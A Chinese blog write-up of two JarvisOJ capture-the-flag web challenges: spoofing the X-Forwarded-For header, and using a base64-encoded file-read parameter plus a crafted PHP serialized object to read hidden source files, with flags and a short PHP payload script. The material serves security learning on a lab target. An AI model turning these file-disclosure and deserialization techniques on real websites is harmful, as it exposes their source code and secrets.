[JarvisOj]Web

LOCALHOST

题目入口:http://web.jarvisoj.com:32774/

  • X-Forwarded-For Header插件修改IP


  • 刷新


  • PCTF{X_F0rw4rd_F0R_is_not_s3cuRe}

神盾局的秘密

这里有个通向神盾局内部网络的秘密入口,你能通过漏洞发现神盾局的秘密吗?
题目入口:http://web.jarvisoj.com:32768/

主页

  • view source
    <img src="[showimg.php?img=c2hpZWxkLmpwZw==]

  • 打开
    http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLmpwZw==

    一堆乱码

  • 分析: 从url可以发现,这是一个文件包含漏洞,而且文件名是base64加密的。
    原生:img=c2hpZWxkLmpwZw==
    解密:img=shield.jpg

  • 文件包含漏洞利用

  1. 查看showimg.php源码
    view-source: http://web.jarvisoj.com:32768/showimg.php?img=c2hvd2ltZy5waHA=
1. 要decode base64。
2. stripos() 返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。
3...,/,\\,pctf,这些字符不能出现在img参数里
  1. 查看index.php源码
    view-source: http://web.jarvisoj.com:32768/showimg.php?img=aW5kZXgucGhw
1. 可以传递class参数
2. 反序列化传递的class参数
  • require_once()语句在脚本执行期间包含并运行指定文件(通俗一点,括号内的文件会执行一遍)。
  • serialize和unserialize函数
    序列化是将变量转换为可保存或传输的字符串的过程;反序列化就是在适当的时候把这个字符串再转化成原来的变量使用。这两个过程结合起来,可以轻松地存储和传输数据。
  1. 利用文件包含漏洞,查看shield.php源码
    view-source:http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLnBocA==
  • 打开pctf.php
    http://web.jarvisoj.com:32768/pctf.php
    FLAG: PCTF{I_4m_not_fl4g}
  • I_4m_not_fl4g,这不是flag,很遗憾。回到考点:文件包含漏洞,继续查看pctf.php的源码。
    view-source:http://web.jarvisoj.com:32768/showimg.php?img=cGN0Zi5waHA=
    File not found!
  • 审计showimg.php源码发现:不能出现pctf字符
    -->不能用showimg.php来读取pctf.php了
    -->利用index.php来读取pctf.php,构造序列化参数class,反序列化class参数来new(实例化)Shield对象,再调用shield对象的readfile方法。
    -->index.php 里的意思是对Shield('$class')反序列化了,所以我们要序列化Shield('pctf.php'),得到的参数才传入class中。
  • 写个php脚本,用warmpserver搭建服务打开网址
<?php
    //flag is in pctf.php
    class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }
        
        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE  
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
    $x=new Shield('pctf.php');
    echo serialize($x);
?>
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 135,818评论 19 139
  • 题目链接: 题目入口:http://web.jarvisoj.com:32774/ 分析: 打开题目提供网址 , ...
    王一航阅读 5,087评论 0 2
  • localhost: 简单伪造ip,在没有X-Forwarded-For时根据报文的ip地址,存在的时候按照X-F...
    苏州暮雨阅读 3,870评论 0 0
  • 题目链接: 这里有个通向神盾局内部网络的秘密入口,你能通过漏洞发现神盾局的秘密吗?题目入口:http://web....
    王一航阅读 8,190评论 0 3
  • 祝您天天乐 愿您永幸福 母爱比天高 亲子非为报 节时盼儿回 日月催白发 快把深情寄 乐见你安康 母亲是我在这世上的...
    翦梦阅读 2,571评论 18 26

友情链接更多精彩内容